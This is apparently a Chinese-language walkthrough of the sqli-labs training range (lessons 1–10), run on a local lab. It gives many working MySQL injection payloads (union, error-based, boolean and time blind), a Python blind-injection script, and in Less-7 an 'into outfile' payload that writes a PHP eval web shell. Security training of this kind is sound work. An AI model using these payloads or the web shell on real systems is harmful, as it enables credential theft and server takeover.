sqli-libs
- 环境的搭建
phpstudy:https://www.xp.cn/download.html
sqli-labs-master:https://codeload.github.com/Audi-1/sqli-labs/zip/master
把压缩包压缩到phpstudy里的www目录下
找到并打开 D:\phpstudy\WWW\sqli-labs-master\sql-connections目录里的db-creds.inc文件
输入正确的用户和密码
- 须将php版本降至5.2及以下
输入127.0.0.1或者127.0.0.1/sqli-labs进入靶场,点击下方所指示的,初始化数据库
- 工具和插件的准备
1、火狐浏览器,插件兼容性较好,推荐使用,也可以用谷歌内核浏览器Chrom或Edge
2、在浏览器上安装HackBar插件和FoxyProxy Standard插件
3、Bp工具 Burpsuite
Table of Contents
Less-1 GET – Error based – Single quotes – String(基于错误的GET单引号字符型注入)
union联合注入
http://localhost/sqli-labs-master/Less-1/?id=1' order by 3 %23
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' %23
http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(username,0x3a,password) from users %23
0x3a: 0x是十六进制标志,3a是十进制的58,是ascii中的 ‘:’ ,用以分割pasword和username。
方法二:手工报错型注入
?id=1' and 1=1--+ //正确
?id=1' and 1=2--+ //失败
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))) --+
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))) --+
?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))--+
Less-2 GET – Error based – Intiger based (基于错误的GET整型注入)
?id=1 order by 3 %23
union select 1,database(),group_concat(schema_name) from information_schema.schemata
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' %23
?id=-1 union select 1,2,group_concat(username,0x3a,password) from users %23
Less-3 GET – Error based – Single quotes with twist string (基于错误的GET单引号变形字符型注入)(加括号)
?id=1') order by 3 %23
union select 1,database(),group_concat(schema_name) from information_schema.schemata
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' %23
?id=-1') union select 1,2,group_concat(username,0x3a,password) from users %23
Less-4 GET – Error based – Double Quotes – String (基于错误的GET双引号字符型注入)
?id=1") order by 3 %23
union select 1,database(),group_concat(schema_name) from information_schema.schemata
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' %23
?id=-1") union select 1,2,group_concat(username,0x3a,password) from users %23
Less-5 GET – Double Injection – Single Quotes – String (双注入GET单引号字符型注入)
看到这个报错信息,考虑布尔型盲注、报错型注入、时间延迟型盲注
其实本题不能称作盲注,因为存在回显,真正的盲注时不存在回显的,只能根据浏览器加载页面情况,判定是否注入成功。
验证时间延迟型的盲注:
http://localhost/sqli-labs-master/Less-5/?id=1' and sleep(5)--+
发现明显延迟,说明猜测正确。接下来的思路是通过延迟,依次爆破数据库长度,数据库名,表名,列名,以及字段。
布尔型和时间延迟型盲注建议采用sqlmap去跑。
- 方法一:时间延迟型手工注入:
时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。
时间延迟型和报错型payload核心部分的构造相同
本方法中payload = ?id=1′ and if(报错型payload核心部分,sleep(5),1)–+
爆库长payload
?id=1' and if(length(database())=8,sleep(5),1)--+
爆库名payload
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
?id=1' and if(left(database(),8)='security',sleep(5),1)--+
爆表名payload
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' ,sleep(5),1)--+
爆列名payload
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password' ,sleep(5),1)--+
爆破值payload
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
- 方法二,布尔型手工注入:
在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1
手工注入时可使用例如left((select database()),1)<‘t’ 这样的比较二分查找方法快速爆破。
爆库payload
http://localhost/sqli-labs-master/Less-5/?id=1' and left((select database()),1)>'t'--+ /***>'t'无回显***/
http://localhost/sqli-labs-master/Less-5/?id=1' and left((select database()),1)<'t'--+ /***<'t'有回显***/
?id=1' and left((select database()),1)='s'--+
?id=1' and left((select database()),8)='security'--+
爆表paylaod
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 3,1),5)='users' --+
爆列名payload
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 1,1),8)='password' --+
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 2,1),8)='password' --+
爆字段payload
?id=1' and left((select password from users order by id limit 0,1),1)='d' --+
?id=1' and left((select password from users order by id limit 0,1),4)='dumb' --+
用户名
?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
?id=1' and left((select username from users order by id limit 0,1),4)='dumb' --+
- 方法三,使用concat聚合函数
参考资料:详细讲解双查询注入 – 网站安全 – 红黑联盟 (2cto.com)
简单的说,使用聚合函数进行双注入查询时,会在错误信息中显示一部分错误信息。
比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。
例如select count(), concat((select version()), floor(rand()2))as a from information_schema.tables group by a;测试的错误信息中出现了版本号。即构造双查询,比如派生表,使一个报错,另一个的结果就会出现在报错的信息中。废话不多说,想了解更详细的看链接的内容,下面进入正题。
payload在concat()中构造
//注意本本方法具有随机性,多刷新可能会有不同结果。原理待研究
//更新:计算机中rand()随机数都为伪随机,可以改为floor(rand(0)*2))固定。
爆库payload
?id=-1'union select count(*),count(*), concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
//或者
?id=-1'union select count(*),1, concat('~',(select database()),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
爆表名payload(修改limit x,1 可以遍历表名,找到user这个表,猜测它存放username和password)
?id=-1' union select count(*),1, concat('~',(select concat(table_name) from information_schema.tables where table_schema=database() limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
爆用户名
?id=-1' union select count(*),1, concat('~',(select user()),'~', floor(rand()*2)) as a from information_schema.tables group by a--+
爆列名payload
?id=-1' union select count(*),1, concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
爆字段payload(修改limit x,1 可以显示第x个用户的password和username (‘[’是分隔符))
?id=-1' union select count(*),1, concat('~',(select concat_ws('[',password,username) from users limit 1,1),'~',floor(rand()*2)) as a from information_schema.tables group by a--+
Mysql报错注入之floor(rand(0)*2)报错原理探究 – FreeBuf网络安全行业门户
布尔型脚本注入
# -*- coding = utf-8 -*-
# @Time : 2022/3/22 16:44
# @Author : bc
# @File : sqli-lib-less-5.py
# @Software: PyCharm
import requests
url="http://localhost/sqli-labs-master/Less-5/"
def getLength():
for i in range(1,20):
payload = url + "?id=1 ' and left((select length(database()) ), 1)={} %23".format(i)
# print(payload)
res = requests.get(payload)
if "You are in" in res.text:
print("table_length:"+str(i))
return i
return 1
def getName(j):
charname = []
for i in range(1,j+1):
for leter in range(ord('a'),ord('z')+1):
payload = url + "?id=1 ' and mid((select database() limit 0,1), {}, 1)='{}' %23".format(str(i), chr(leter))
res = requests.get(payload)
if "You are in" in res.text:
charname.append(chr(leter))
print(charname)
j = getLength()
getName(j)
Less-6 GET – Double Injection – Double Quotes – String (双注入GET双引号字符型注入)
同第五题,单引号变为双引号
Less-7 GET – Dump into outfile – String (导出文件GET字符型注入)
winserver的iis默认路径: c:\Inetpub\wwwroot
linux的nginx: /usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等
apache:.../var/www/htm,.../var/www/html/htdocs
phpstudy: ...\PhpStudy20180211\PHPTutorial\WWW\
xammp: ...\xampp\htdocs
payload
Less-2/?id=-1 union select 1,@@basedir,@@datadir --+
注入less-7 payload
?id=1')) union select 1,2,'<?php @eval($_POST["cmd"]);?>' into outfile "D:\\phpStudy\\WWW\\sqli-labs-master\\ttt.php"--+
注意可能无法读写文件,可以在命令行使用mysql>show global variables like “secure%”;查看
如果没有,在my.ini添加secure_file_priv=''
值为NULL表示禁止限制操作
值为某一目录,则只能操作该目录下的文件
没有值则表示不对读写文件进行限制
使用蚁剑连接
Less-8 GET – Blind – Boolian Based – Single Quotes (布尔型单引号GET盲注)
布尔型盲注,单引号,id=1回显,价格单引号不回显,构造一下验证是不是布尔型payload ?id=1′ and 1=1 –+ 回显了
和less5一样的,根据回显判断。
可以通过 > < 比较字符大小加速爆破
爆库payload
?id=1' and left((select database()),1)='s'--+
库名长度可使用?id=1′ and length(database())=8–+ 判断,同理表名字,段名等。
最后得到库名?id=1′ and left((select database()),8)=’security’–+
爆表,爆字段,爆值,流水操作,和less5的方法二,手工注入所有payload一样
时间型的注入一样能用,但是不知道为什么concat聚合函数这题用不了
Less-9 GET – Blind – Time based. – Single Quotes (基于时间的GET单引号盲注)
不管怎么输入,回显总是you are …
考虑时间型盲注,payload?id=1' and sleep(3) --+
。
id=1,发现明显延迟,说明注入成功,接下来爆破就完了。这道题的payload构造和第五题的方法一是一样的
爆库payload
?id=1' and if(length(database())=4 , sleep(3), 1) --+
?id=1' and if(length(database())=8 , sleep(3), 1) --+
?id=1' and if(left(database(),1)='s' , sleep(3), 1) --+
?id=1' and if(left(database(),8)='security' , sleep(3), 1) --+
爆表payload
?id=1' and if(left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' , sleep(3), 1) --+
爆字段payload
定向爆破password和username
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password', sleep(3), 1) --+
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 9,1),8)='username', sleep(3), 1) --+
爆值payload
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' , sleep(3), 1) --+
爆破到第一个人的username:dumb,password:dumb。修改limit x,1 继续爆破其他用户
Less-10 GET – Blind – Time based – double quotes (基于时间的双引号盲注)
只要把上一题Less-9的单引号改成双引号,一样的注入